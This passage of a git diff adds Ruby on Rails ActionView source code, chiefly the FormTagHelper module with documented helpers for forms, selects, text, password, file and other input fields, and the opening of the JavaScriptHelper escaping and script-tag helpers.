+    # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+    # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
+    module FormTagHelper
+      extend ActiveSupport::Concern
+
+      include UrlHelper
+      include TextHelper
+
+      mattr_accessor :embed_authenticity_token_in_remote_forms
+      self.embed_authenticity_token_in_remote_forms = false
+
+      # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
+      # ActionController::Base#url_for. The method for the form defaults to POST.
+      #
+      # ==== Options
+      # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+      # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+      #   If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+      #   is added to simulate the verb over post.
+      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
+      #   pass custom authenticity token string, or to not add authenticity_token field at all
+      #   (by passing <tt>false</tt>).  Remote forms may omit the embedded authenticity token
+      #   by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when you're fragment-caching the form. Remote forms get the
+      #   authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+      #   support browsers without JavaScript.
+      # * A list of parameters to feed to the URL the form will be posted to.
+      # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+      #   submit behavior. By default this behavior is an ajax submit.
+      # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name utf8 is not output.
+      #
+      # ==== Examples
+      #   form_tag('/posts')
+      #   # => <form action="/posts" method="post">
+      #
+      #   form_tag('/posts/1', method: :put)
+      #   # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+      #
+      #   form_tag('/upload', multipart: true)
+      #   # => <form action="/upload" method="post" enctype="multipart/form-data">
+      #
+      #   <%= form_tag('/posts') do -%>
+      #     <div><%= submit_tag 'Save' %></div>
+      #   <% end -%>
+      #   # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+      #
+      #   <%= form_tag('/posts', remote: true) %>
+      #   # => <form action="/posts" method="post" data-remote="true">
+      #
+      #   form_tag('http://far.away.com/form', authenticity_token: false)
+      #   # form without authenticity token
+      #
+      #   form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
+      #   # form with custom authenticity token
+      #
+      def form_tag(url_for_options = {}, options = {}, &block)
+        html_options = html_options_for_form(url_for_options, options)
+        if block_given?
+          form_tag_in_block(html_options, &block)
+        else
+          form_tag_html(html_options)
+        end
+      end
+
+      # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
+      # choice selection box.
+      #
+      # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
+      # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
+      #
+      # ==== Options
+      # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:include_blank</tt> - If set to true, an empty option will be created.
+      # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name")
+      #   # <select id="people" name="people"><option value="1">David</option></select>
+      #
+      #   select_tag "people", "<option>David</option>".html_safe
+      #   # => <select id="people" name="people"><option>David</option></select>
+      #
+      #   select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe
+      #   # => <select id="count" name="count"><option>1</option><option>2</option>
+      #   #    <option>3</option><option>4</option></select>
+      #
+      #   select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true
+      #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+      #   #    <option>Green</option><option>Blue</option></select>
+      #
+      #   select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
+      #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+      #   #    <option>Out</option></select>
+      #
+      #   select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input'
+      #   # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
+      #   #    <option>Write</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
+      #   # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
+      #   # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
+      #
+      #   select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true
+      #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+      #   #    <option>Paris</option><option>Rome</option></select>
+      #
+      #   select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+      #   # => <select id="credit_card" name="credit_card"><option>VISA</option>
+      #   #    <option selected="selected">MasterCard</option></select>
+      def select_tag(name, option_tags = nil, options = {})
+        option_tags ||= ""
+        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+
+        if options.delete(:include_blank)
+          option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
+        end
+
+        if prompt = options.delete(:prompt)
+          option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
+        end
+
+        content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+      end
+
+      # Creates a standard text field; use these text fields to input smaller chunks of text like a username
+      # or a search query.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_field_tag 'name'
+      #   # => <input id="name" name="name" type="text" />
+      #
+      #   text_field_tag 'query', 'Enter your search query here'
+      #   # => <input id="query" name="query" type="text" value="Enter your search query here" />
+      #
+      #   text_field_tag 'search', nil, placeholder: 'Enter search term...'
+      #   # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
+      #
+      #   text_field_tag 'request', nil, class: 'special_input'
+      #   # => <input class="special_input" id="request" name="request" type="text" />
+      #
+      #   text_field_tag 'address', '', size: 75
+      #   # => <input id="address" name="address" size="75" type="text" value="" />
+      #
+      #   text_field_tag 'zip', nil, maxlength: 5
+      #   # => <input id="zip" maxlength="5" name="zip" type="text" />
+      #
+      #   text_field_tag 'payment_amount', '$0.00', disabled: true
+      #   # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+      #
+      #   text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
+      #   # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+      def text_field_tag(name, value = nil, options = {})
+        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+      end
+
+      # Creates a label element. Accepts a block.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   label_tag 'name'
+      #   # => <label for="name">Name</label>
+      #
+      #   label_tag 'name', 'Your name'
+      #   # => <label for="name">Your name</label>
+      #
+      #   label_tag 'name', nil, class: 'small_label'
+      #   # => <label for="name" class="small_label">Name</label>
+      def label_tag(name = nil, content_or_options = nil, options = nil, &block)
+        if block_given? && content_or_options.is_a?(Hash)
+          options = content_or_options = content_or_options.stringify_keys
+        else
+          options ||= {}
+          options = options.stringify_keys
+        end
+        options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
+        content_tag :label, content_or_options || name.to_s.humanize, options, &block
+      end
+
+      # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
+      # data that should be hidden from the user.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   hidden_field_tag 'tags_list'
+      #   # => <input id="tags_list" name="tags_list" type="hidden" />
+      #
+      #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+      #
+      #   hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
+      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
+      #   #    type="hidden" value="" />
+      def hidden_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
+      end
+
+      # Creates a file upload field. If you are using file uploads then you will also need
+      # to set the multipart option for the form tag:
+      #
+      #   <%= form_tag '/upload', multipart: true do %>
+      #     <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+      #     <%= submit_tag %>
+      #   <% end %>
+      #
+      # The specified URL will then be passed a File object containing the selected file, or if the field
+      # was left blank, a StringIO object.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   file_field_tag 'attachment'
+      #   # => <input id="attachment" name="attachment" type="file" />
+      #
+      #   file_field_tag 'avatar', class: 'profile_input'
+      #   # => <input class="profile_input" id="avatar" name="avatar" type="file" />
+      #
+      #   file_field_tag 'picture', disabled: true
+      #   # => <input disabled="disabled" id="picture" name="picture" type="file" />
+      #
+      #   file_field_tag 'resume', value: '~/resume.doc'
+      #   # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+      #
+      #   file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
+      #   # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+      #
+      #   file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
+      #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+      def file_field_tag(name, options = {})
+        text_field_tag(name, nil, options.update("type" => "file"))
+      end
+
+      # Creates a password field, a masked text field that will hide the users input behind a mask character.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   password_field_tag 'pass'
+      #   # => <input id="pass" name="pass" type="password" />
+      #
+      #   password_field_tag 'secret', 'Your secret here'
+      #   # => <input id="secret" name="secret" type="password" value="Your secret here" />
+      #
+      #   password_field_tag 'masked', nil, class: 'masked_input_field'
+      #   # => <input class="masked_input_field" id="masked" name="masked" type="password" />
+      #
+      #   password_field_tag 'token', '', size: 15
+      #   # => <input id="token" name="token" size="15" type="password" value="" />
+      #
+      #   password_field_tag 'key', nil, maxlength: 16
+      #   # => <input id="key" maxlength="16" name="key" type="password" />
+      #
+      #   password_field_tag 'confirm_pass', nil, disabled: true
+      #   # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+      #
+      #   password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
+      #   # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+      def password_field_tag(name = "password", value = nil, options = {})
+        text_field_tag(name, value, options.update("type" => "password"))
+      end
+
+      # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+      #
+      # ==== Options
+      # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
+      # * <tt>:rows</tt> - Specify the number of rows in the textarea
+      # * <tt>:cols</tt> - Specify the number of columns in the textarea
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
+      #   If you need unescaped contents, set this to false.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_area_tag 'post'
+      #   # => <textarea id="post" name="post"></textarea>
+      #
+      #   text_area_tag 'bio', @user.bio
+      #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
+      #
+      #   text_area_tag 'body', nil, rows: 10, cols: 25
+      #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+      #
+      #   text_area_tag 'body', nil, size: "25x10"
+      #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+      #
+      #   text_area_tag 'description', "Description goes here.", disabled: true
+      #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+      #
+      #   text_area_tag 'comment', nil, class: 'comment_input'
+      #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
+      def text_area_tag(name, content = nil, options = {})
+        options = options.stringify_keys
+
+        if size = options.delete("size")
+          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+        end
+
+        escape = options.delete("escape") { true }
+        content = ERB::Util.html_escape(content) if escape
+
+        content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
+      end
+
+      # Creates a check box form input tag.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   check_box_tag 'accept'
+      #   # => <input id="accept" name="accept" type="checkbox" value="1" />
+      #
+      #   check_box_tag 'rock', 'rock music'
+      #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
+      #
+      #   check_box_tag 'receive_email', 'yes', true
+      #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+      #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'eula', 'accepted', false, disabled: true
+      #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+      def check_box_tag(name, value = "1", checked = false, options = {})
+        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a radio button; use groups of radio buttons named the same to allow users to
+      # select from a group of options.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   radio_button_tag 'gender', 'male'
+      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
+      #
+      #   radio_button_tag 'receive_updates', 'no', true
+      #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+      #
+      #   radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
+      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+      #
+      #   radio_button_tag 'color', "green", true, class: "color_input"
+      #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+      def radio_button_tag(name, value, checked = false, options = {})
+        html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a submit button with the text <tt>value</tt> as the caption.
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
+      #   drivers will provide a prompt with the question specified. If the user accepts,
+      #   the form is processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
+      #   disabled version of the submit button when the form is submitted. This feature is
+      #   provided by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      #   submit_tag
+      #   # => <input name="commit" type="submit" value="Save changes" />
+      #
+      #   submit_tag "Edit this article"
+      #   # => <input name="commit" type="submit" value="Edit this article" />
+      #
+      #   submit_tag "Save edits", disabled: true
+      #   # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
+      #
+      #   submit_tag "Complete sale", data: { disable_with: "Please wait..." }
+      #   # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
+      #
+      #   submit_tag nil, class: "form_submit"
+      #   # => <input class="form_submit" name="commit" type="submit" />
+      #
+      #   submit_tag "Edit", class: "edit_button"
+      #   # => <input class="edit_button" name="commit" type="submit" value="Edit" />
+      #
+      #   submit_tag "Save", data: { confirm: "Are you sure?" }
+      #   # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
+      #
+      def submit_tag(value = "Save changes", options = {})
+        options = options.stringify_keys
+
+        tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
+      end
+
+      # Creates a button element that defines a <tt>submit</tt> button,
+      # <tt>reset</tt>button or a generic button which can be used in
+      # JavaScript, for example. You can use the button tag as a regular
+      # submit tag but it isn't supported in legacy browsers. However,
+      # the button tag allows richer labels such as images and emphasis,
+      # so this helper will also accept a block.
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to
+      #   use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - If present, the
+      #   unobtrusive JavaScript drivers will provide a prompt with
+      #   the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      #   button_tag
+      #   # => <button name="button" type="submit">Button</button>
+      #
+      #   button_tag(type: 'button') do
+      #     content_tag(:strong, 'Ask me!')
+      #   end
+      #   # => <button name="button" type="button">
+      #   #     <strong>Ask me!</strong>
+      #   #    </button>
+      #
+      #   button_tag "Checkout", data: { disable_with: "Please wait..." }
+      #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
+      #
+      def button_tag(content_or_options = nil, options = nil, &block)
+        if content_or_options.is_a? Hash
+          options = content_or_options
+        else
+          options ||= {}
+        end
+
+        options = { 'name' => 'button', 'type' => 'submit' }.merge!(options.stringify_keys)
+
+        if block_given?
+          content_tag :button, options, &block
+        else
+          content_tag :button, content_or_options || 'Button', options
+        end
+      end
+
+      # Displays an image which when clicked will submit the form.
+      #
+      # <tt>source</tt> is passed to AssetTagHelper#path_to_image
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      #
+      # ==== Examples
+      #   image_submit_tag("login.png")
+      #   # => <input alt="Login" src="/images/login.png" type="image" />
+      #
+      #   image_submit_tag("purchase.png", disabled: true)
+      #   # => <input alt="Purchase" disabled="disabled" src="/images/purchase.png" type="image" />
+      #
+      #   image_submit_tag("search.png", class: 'search_button', alt: 'Find')
+      #   # => <input alt="Find" class="search_button" src="/images/search.png" type="image" />
+      #
+      #   image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
+      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
+      #
+      #   image_submit_tag("save.png", data: { confirm: "Are you sure?" })
+      #   # => <input alt="Save" src="/images/save.png" data-confirm="Are you sure?" type="image" />
+      def image_submit_tag(source, options = {})
+        options = options.stringify_keys
+        tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
+      end
+
+      # Creates a field set for grouping HTML form elements.
+      #
+      # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
+      # <tt>options</tt> accept the same values as tag.
+      #
+      # ==== Examples
+      #   <%= field_set_tag do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <%= field_set_tag 'Your details' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <%= field_set_tag nil, class: 'format' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+      def field_set_tag(legend = nil, options = nil, &block)
+        output = tag(:fieldset, options, true)
+        output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
+        output.concat(capture(&block)) if block_given?
+        output.safe_concat("</fieldset>")
+      end
+
+      # Creates a text field of type "color".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def color_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
+      end
+
+      # Creates a text field of type "search".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def search_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
+      end
+
+      # Creates a text field of type "tel".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def telephone_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
+      end
+      alias phone_field_tag telephone_field_tag
+
+      # Creates a text field of type "date".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def date_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
+      end
+
+      # Creates a text field of type "time".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def time_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
+      end
+
+      # Creates a text field of type "datetime".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def datetime_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
+      end
+
+      # Creates a text field of type "datetime-local".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def datetime_local_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
+      end
+
+      # Creates a text field of type "month".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def month_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
+      end
+
+      # Creates a text field of type "week".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def week_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
+      end
+
+      # Creates a text field of type "url".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def url_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
+      end
+
+      # Creates a text field of type "email".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def email_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
+      end
+
+      # Creates a number field.
+      #
+      # ==== Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
+      #   <tt>:max</tt> values.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   number_field_tag 'quantity', nil, in: 1...10
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      def number_field_tag(name, value = nil, options = {})
+        options = options.stringify_keys
+        options["type"] ||= "number"
+        if range = options.delete("in") || options.delete("within")
+          options.update("min" => range.min, "max" => range.max)
+        end
+        text_field_tag(name, value, options)
+      end
+
+      # Creates a range form element.
+      #
+      # ==== Options
+      # * Accepts the same options as number_field_tag.
+      def range_field_tag(name, value = nil, options = {})
+        number_field_tag(name, value, options.stringify_keys.update("type" => "range"))
+      end
+
+      # Creates the hidden UTF8 enforcer tag. Override this method in a helper
+      # to customize the tag.
+      def utf8_enforcer_tag
+        tag(:input, :type => "hidden", :name => "utf8", :value => "&#x2713;".html_safe)
+      end
+
+      private
+        def html_options_for_form(url_for_options, options)
+          options.stringify_keys.tap do |html_options|
+            html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+            # The following URL is unescaped, this is just a hash of options, and it is the
+            # responsibility of the caller to escape all the values.
+            html_options["action"]  = url_for(url_for_options)
+            html_options["accept-charset"] = "UTF-8"
+
+            html_options["data-remote"] = true if html_options.delete("remote")
+
+            if html_options["data-remote"] &&
+               !embed_authenticity_token_in_remote_forms &&
+               html_options["authenticity_token"].blank?
+              # The authenticity token is taken from the meta tag in this case
+              html_options["authenticity_token"] = false
+            elsif html_options["authenticity_token"] == true
+              # Include the default authenticity_token, which is only generated when its set to nil,
+              # but we needed the true value to override the default of no authenticity_token on data-remote.
+              html_options["authenticity_token"] = nil
+            end
+          end
+        end
+
+        def extra_tags_for_form(html_options)
+          authenticity_token = html_options.delete("authenticity_token")
+          method = html_options.delete("method").to_s
+
+          method_tag = case method
+            when /^get$/i # must be case-insensitive, but can't use downcase as might be nil
+              html_options["method"] = "get"
+              ''
+            when /^post$/i, "", nil
+              html_options["method"] = "post"
+              token_tag(authenticity_token)
+            else
+              html_options["method"] = "post"
+              method_tag(method) + token_tag(authenticity_token)
+          end
+
+          enforce_utf8 = html_options.delete("enforce_utf8") { true }
+          tags = (enforce_utf8 ? utf8_enforcer_tag : ''.html_safe) << method_tag
+          content_tag(:div, tags, :style => 'display:none')
+        end
+
+        def form_tag_html(html_options)
+          extra_tags = extra_tags_for_form(html_options)
+          tag(:form, html_options, true) + extra_tags
+        end
+
+        def form_tag_in_block(html_options, &block)
+          content = capture(&block)
+          output = form_tag_html(html_options)
+          output << content
+          output.safe_concat("</form>")
+        end
+
+        # see http://www.w3.org/TR/html4/types.html#type-name
+        def sanitize_to_id(name)
+          name.to_s.delete(']').gsub(/[^-a-zA-Z0-9:.]/, "_")
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb
new file mode 100644
index 0000000..e475d5b
--- /dev/null
+++ b/actionview/lib/action_view/helpers/javascript_helper.rb
@@ -0,0 +1,75 @@
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  module Helpers
+    module JavaScriptHelper
+      JS_ESCAPE_MAP = {
+        '\\'    => '\\\\',
+        '</'    => '<\/',
+        "\r\n"  => '\n',
+        "\n"    => '\n',
+        "\r"    => '\n',
+        '"'     => '\\"',
+        "'"     => "\\'"
+      }
+
+      JS_ESCAPE_MAP["\342\200\250".force_encoding(Encoding::UTF_8).encode!] = '&#x2028;'
+      JS_ESCAPE_MAP["\342\200\251".force_encoding(Encoding::UTF_8).encode!] = '&#x2029;'
+
+      # Escapes carriage returns and single and double quotes for JavaScript segments.
+      #
+      # Also available through the alias j(). This is particularly helpful in JavaScript
+      # responses, like:
+      #
+      #   $('some_element').replaceWith('<%=j render 'some/element_template' %>');
+      def escape_javascript(javascript)
+        if javascript
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
+          javascript.html_safe? ? result.html_safe : result
+        else
+          ''
+        end
+      end
+
+      alias_method :j, :escape_javascript
+
+      # Returns a JavaScript tag with the +content+ inside. Example:
+      #   javascript_tag "alert('All is good')"
+      #
+      # Returns:
+      #   <script>
+      #   //<![CDATA[
+      #   alert('All is good')
+      #   //]]>
+      #   </script>
+      #
+      # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
+      # tag.
+      #
+      #   javascript_tag "alert('All is good')", defer: 'defer'
+      #   # => <script defer="defer">alert('All is good')</script>
+      #
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +html_options+ as the first parameter.
+      #
+      #   <%= javascript_tag defer: 'defer' do -%>
+      #     alert('All is good')
+      #   <% end -%>
+      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+        content =
+          if block_given?
+            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+            capture(&block)
+          else
+            content_or_options_with_block
+          end
+
